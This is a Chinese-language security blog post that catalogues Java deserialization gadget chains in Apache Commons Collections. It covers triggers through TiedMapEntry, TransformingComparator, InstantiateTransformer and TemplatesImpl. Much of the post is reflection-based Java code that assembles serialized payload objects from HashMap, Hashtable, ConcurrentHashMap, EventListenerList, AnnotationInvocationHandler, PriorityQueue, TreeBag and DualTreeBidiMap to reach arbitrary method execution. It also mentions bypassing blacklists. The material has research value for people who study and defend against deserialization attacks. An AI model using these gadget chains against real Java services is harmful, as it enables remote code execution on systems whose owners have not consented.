java反序列二周目(一)

前言

​ 最近黑神话悟空火热,大家都开启二周目。现在正直网安特殊时间,时间较多,随准备重走一遍反序列取经路,看看有没有新的触发方式,记录一下,方便以后直接使用。

0x01 commons.collections (map.get)

​ 最经典的反序列化gadget,触发点

LazyMap.get 这里LazyMap可以换成DefaultedMap (3.1没有这个类)

1
2
3
4
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

org.apache.commons.collections.map.DefaultedMap#get

image-20240823135940290

DefaultedMap的value可控,后面大差不差

1
2
3
4
Map decorate = DefaultedMap.decorate(new HashMap(), new ConstantFactory(1));
Field value = DefaultedMap.class.getDeclaredField("value");
value.setAccessible(true);
value.set(decorate,chain);

org.apache.commons.collections.keyvalue.TiedMapEntry

image-20240823134729920

image-20240823134736608

image-20240823134748543

image-20240823134818012

也就是TiedMapEntry的equals,hashCode,toString 都能触发到LazyMap.get。那我们只要找到调用到这个三个方法的头就行。

整理一下,目前我手里的 (还藏了几个)

由于在map里面put时,自动会计算hashcode,所以不罗列。

BadAttributeValueExpException触发tostring

1
2
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new HashMap<>());
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);

HotSwappableTargetSource & XString 触发tostring

com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)

image-20240904164127446

image-20240904164153212

注意满足强转类型,

1
2
3
4
5
6
7
8
9
10
11
12
13
public static HashMap HotSwappabletostring(Object o1)throws Exception{
Object xstring;
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(o1);
//子类都行
xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForFSB");
utils.setFieldValue(xstring, "m_obj", "1");
xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForChars");
utils.setFieldValue(xstring, "m_obj", new char[5]);
xstring = new XString(null);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(xstring);
HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
return val;
}

本质是XString的equals的触发了obj的tostring。那么就用三个来触发了

hashtable触发tostring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Hashtable makeTableTstring(Object o) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o,"Unam4");
tHashMap2.put(o,"SpringKill");
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);

Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,"Unam4");
hashtable.put(tHashMap2,"SpringKill");

tHashMap1.put(o, null);
tHashMap2.put(o, null);
return hashtable;
}

EventListenerList触发tostring

javax.swing.event.EventListenerList#readObject

image-20240904173953522

image-20240904173528250

读入对象,listenerTypeOrNull,然后调用add

image-20240904174030792

然后判断我们控制的类是不是属于name这个类,不属于直接可以字符串拼接,造成obj.tostring。l我们可以控制,来看序列化函数

javax.swing.event.EventListenerList#writeObject

image-20240904174513832

在序列化时,会对list里面对象进行强转,所以要找一个属于EventListener的类。

image-20240904174943650

image-20240904175748816

它有一个属性可控,类型Vector,Vector触发tostring,会对list每个对象都进行tostring,完成触发。

image-20240904175754151

javax.swing.undo.UndoManager#toString

image-20240904180001650

javax.swing.undo.CompoundEdit#toString

image-20240904180012026

java.util.Vector#toString

image-20240904175819610

java.util.AbstractCollection#toString

image-20240904180522224

然后遍历list对象,加入到sb,

java.lang.String#valueOf(java.lang.Object)

image-20240904180646138

直接进行tostring。

调用栈

1
2
3
4
5
6
7
8
9
10
javax.swing.event.EventListenerList.readObject
javax.swing.event.EventListenerList.add
java.lang.String#valueOf(UndoManager)
javax.swing.undo.UndoManager#toString
javax.swing.undo.CompoundEdit#toString
java.util.Vector#toString
java.util.AbstractCollection#toString
java.lang.StringBuilder#append
java.lang.String#valueOf
expobj.toString

还是值得学习一下的。

1
2
3
4
5
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) utils.getFieldValue(manager, "edits");
vector.add(tiedMapEntry);
utils.setFieldValue(list, "listenerList", new Object[] { Map.class, manager });

hashmap触发tostring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static HashMap maskmapToString(Object o1, Object o2) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1,null);
tHashMap2.put(o2,null);
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, null, null);
Object node2 = constructor.newInstance(0, tHashMap2, null, null);
utils.setFieldValue(hashMap, "size", 2);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
utils.setFieldValue(hashMap, "table", arr);
return hashMap;
}

HotSwappableTargetSource 触发equals

1
2
3
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(node);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString(null));
HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);

说实话,脱裤子放屁

Hashtable触发equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static Hashtable makeTable(Object o, Object o2) throws Exception{

Hashtable hashtable = new Hashtable();
utils.setFieldValue(hashtable,"count",2);
Class<?> nodeC;
nodeC = Class.forName("java.util.Hashtable$Entry");

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, o, "Unam4", null));
Array.set(tbl, 1, nodeCons.newInstance(0, o2, "Springkill", null));
utils.setFieldValue(hashtable, "table", tbl);
return hashtable;
}

HashMap 触发equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static HashMap<Object, Object> makeMap(Object o, Object o2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
utils.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, o, "key1", null));
Array.set(tbl, 1, nodeCons.newInstance(0, o2, "key2", null));
utils.setFieldValue(s, "table", tbl);
return s;
}

ConcurrentHashMap触发equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static ConcurrentHashMap<Object, Object> makeConcurrentMap(Object o, Object o2) throws Exception {
ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap<>();
utils.setFieldValue(s, "sizeCtl", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, o, "zZ", null));
Array.set(tbl, 1, nodeCons.newInstance(0, o2, "yy", null));
utils.setFieldValue(s, "table", tbl);
return s;
}

AnnotationInvocationHandler触发tostring (jdk<8u20)

sun.reflect.annotation.AnnotationInvocationHandler#readObject

image-20240823141751373

可以这个vaule直接和字符拼接,会触发value.tostring。value是memberValues 这个map里的vaule,可控。

1
2
3
4
5
6
HashMap<Object, Object> map1 = new HashMap<>();
map1.put("value",tiedMapEntry);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);

Flat3Map触发equals

org.apache.commons.collections.map.Flat3Map#readObject

image-20240823142441405

image-20240823145130393

image-20240823145138574

可以看到和hashmap一样,所有都能用。

最后将上面source,flow,sink 一一组合就可以得到一些新gadget。

AnnotationInvocationHandle触发map.get

sun.reflect.annotation.AnnotationInvocationHandler#invoke

image-20240823171628559

memberValues可控,map类型.

1
2
3
4
5
6
7
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, lazymap/DefaultedMap);
Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class[]{Map.class}, h);
Object instance =Anotationdeclared.newInstance(Override.class, Mapproxy);

0x02 commons.collections (TransformingComparator.compare)

1
2
3
4
5
TransformingComparator.compare()
ChainedTransformer.transform()
InvokerTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()

org.apache.commons.collections.comparators.TransformingComparator#compare

image-20240823152533206

transform这个属性可控。所以需要调用compare

目前本人收集的

PriorityQueue触发compare

1
2
3
4
5
PriorityQueue queue = new PriorityQueue(1);
utils.setFieldValue(queue, "size", 2);
utils.setFieldValue(queue, "comparator", Tcomparator);
utils.setFieldValue(queue, "queue", new Object[]{Runtime.class,1});

TreeBag触发compare

org.apache.commons.collections.bag.TreeBag#readObject

image-20240823153834885

image-20240823153847089

这里map改为TreeMap类型

java.util.TreeMap#put

image-20240823153927816

java.util.TreeMap#compare

image-20240823153936586

compare属性可控

1
2
3
//        TransformingComparator comparator  = new TransformingComparator(chain);
TreeBag treeBag = new TreeBag(comparator);
treeBag.add(Runtime.class);

以上任意组合,就可以得到新gadget。这个点也可以走到cb的gadget(一般cc、cb都有的情况.绕黑名单)。

hashmap触发compare

1
java.util.AbstractMap#equals

具体可以操作这个类,具体流程可以看看我这篇文章

https://unam4.github.io/2024/06/03/%E6%96%B0jdk%E5%8E%9F%E7%94%9F%E5%85%A5%E5%8F%A3%E5%88%B0jndi/

image-20240905111934832

java.util.TreeMap#get

image-20240905130109523

image-20240905130116993

image-20240905130147076

comparator可控,k可控,也就是改成cc4,TransformingComparator或者cb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static HashMap<Object, Object>hashmap2compare(Comparator o1, Object o2) throws Exception {
TreeMap treeMap1 = new TreeMap(o1);
treeMap1.put(o2, 1);
TreeMap treeMap2 = new TreeMap(o1);
treeMap2.put(o2,1);
HashMap<Object, Object> s = new HashMap<>();
utils.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, treeMap1, "key1", null));
Array.set(tbl, 1, nodeCons.newInstance(0, treeMap2, "key2", null));
utils.setFieldValue(s, "table", tbl);
return s;
}

Hashtable 触发compare

不多说,hashmap可以,那么其他map也行,上科技。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static Hashtable<Object, Object>table2compare(Comparator o1, Object o2) throws Exception {
TreeMap treeMap1 = new TreeMap(o1);
treeMap1.put(o2, 1);
TreeMap treeMap2 = new TreeMap(o1);
treeMap2.put(o2,1);
Hashtable hashtable = new Hashtable();
utils.setFieldValue(hashtable,"count",2);
Class<?> nodeC;
nodeC = Class.forName("java.util.Hashtable$Entry");

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, treeMap1, "Unam4", null));
Array.set(tbl, 1, nodeCons.newInstance(0, treeMap2, "Springkill", null));
utils.setFieldValue(hashtable, "table", tbl);
return hashtable;
}

ConcurrentHashMap触发compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static ConcurrentHashMap<Object, Object> ConcurrentMap2cpmpare(Comparator o1, Object o2) throws Exception {
TreeMap treeMap1 = new TreeMap(o1);
treeMap1.put(o2, 1);
TreeMap treeMap2 = new TreeMap(o1);
treeMap2.put(o2,1);
ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap<>();
utils.setFieldValue(s, "sizeCtl", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, treeMap1, "unam4", null));
Array.set(tbl, 1, nodeCons.newInstance(0, treeMap2, "springkill", null));
utils.setFieldValue(s, "table", tbl);
return s;
}

AnnotationInvocationHandler触发compare (jdk<8u20)

没什么好说的,动态代理结合treemap触发compare

sun.reflect.annotation.AnnotationInvocationHandler#readObject

image-20240905173552181

image-20240905173649205

image-20240905173723374

值得注意的是,memberValues 是map的key是string类型,也就是无法用来触发cb

1
2
3
4
5
6
7
8
9
10
public static Object annotationhander2compare(Map o) throws Exception {
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, o);
Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class[]{Map.class}, h);
Object o1 =Anotationdeclared.newInstance(Override.class, Mapproxy);
return o1;
}

对应cc4的调用

1
2
3
4
5
6
7
8
9
10
11
Exception in thread "main" org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception
at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:124)
at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32)
at org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112)
at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
at java.util.TreeMap.getEntryUsingComparator(TreeMap.java:376)
at java.util.TreeMap.getEntry(TreeMap.java:345)
at java.util.TreeMap.get(TreeMap.java:278)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
at com.sun.proxy.$Proxy1.entrySet(Unknown Source)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)

DualTreeBidiMapr触发compare

org.apache.commons.collections.bidimap.DualTreeBidiMap#readObject

image-20240905183839682

对treep赋值

image-20240905183859006

父类的map是一个map数组。

image-20240905183952771

然后它会map中所有的键值对,然后得到一个迭代器,进行遍历put进treemap。

image-20240905184708205

然后进行compare,后面没什么好说的,用cb时,把这个key,vaule 改成对应要触发getter的对象就行。

1
2
3
4
5
6
7
8
9
10
public static DualTreeBidiMap dualTreeBidiMap2compare(Comparator o1, Object o2) throws Exception {
DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap();
Map[] mapArray = new HashMap[1];
mapArray[0] = new HashMap();
// 兼容cb,否则可能报错
mapArray[0].put(o2, o2);
utils.setFieldValue(dualTreeBidiMap, "comparator", o1);
utils.setFieldValue(dualTreeBidiMap, "maps", mapArray);
return dualTreeBidiMap;
}

0x03 commons.collections (InstantiateTransformer)

org.apache.commons.collections.functors.InstantiateTransformer#transform

image-20240823155348825

鸡肋,只能进行构造函数的实例化。

目前公开也就TrAXFilter.TrAXFilter()

image-20240823160442171

1
2
3
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()

map.get 触发InstantiateTransformer

所以我们只要把前面map.get 触发value.transform改成InstantiateTransformer就完事了

0x04 commons.collections (InvokerTransformer)

没什么好说的,配合ConstantTransformer,ChainedTransformer可以调用任意类任意方法。

0x05 AnnotationInvocationHandle结合TransformedMap触发Transforme

可惜setValue里面不可控,组装起来不怎么顺畅。(不能直接InstantiateTransformer,InvokerTransformer)

image-20240823165115069

TransformedMap父类AbstractInputCheckedMapDecorator.MapEntry#setValue/EntrySet

image-20240823164127407

image-20240823164138048

对parent完成赋值

image-20240823163721352

image-20240823163741815

最后完成触发。

0x06 总结

​ 主要就是找到相应的出发点,然后找新的出发点。然后可以结合ChainedTransformer调用InvokerTransformer 访问任意类任意方法 或者 InstantiateTransformer结合TrAXFilter调用templateimpl

0x07 补充lazymap/DefaultedMap.get

 由于org.apache.commons.collections.map.LazyMap#get/org.apache.commons.collections.map.DefaultedMap#get会调用任意Transformer类的transform方法,所以我们给几条触发get的方法,

AnnotationInvocationHandle触发map.get (<=8u20)

sun.reflect.annotation.AnnotationInvocationHandler#invoke

image-20240823171628559

memberValues可控,map类型. 可以触发.但是由于memberValues限制了private final Map<String, Object> memberValues;

1
2
3
4
5
6
7
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, memberValues);
Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class[]{Map.class}, h);
Object instance =Anotationdeclared.newInstance(Override.class, Mapproxy);

java反序列二周目(一)
https://unam4.github.io/2024/08/23/java反序列二周目-一/
作者
unam4
发布于
2024年8月23日
许可协议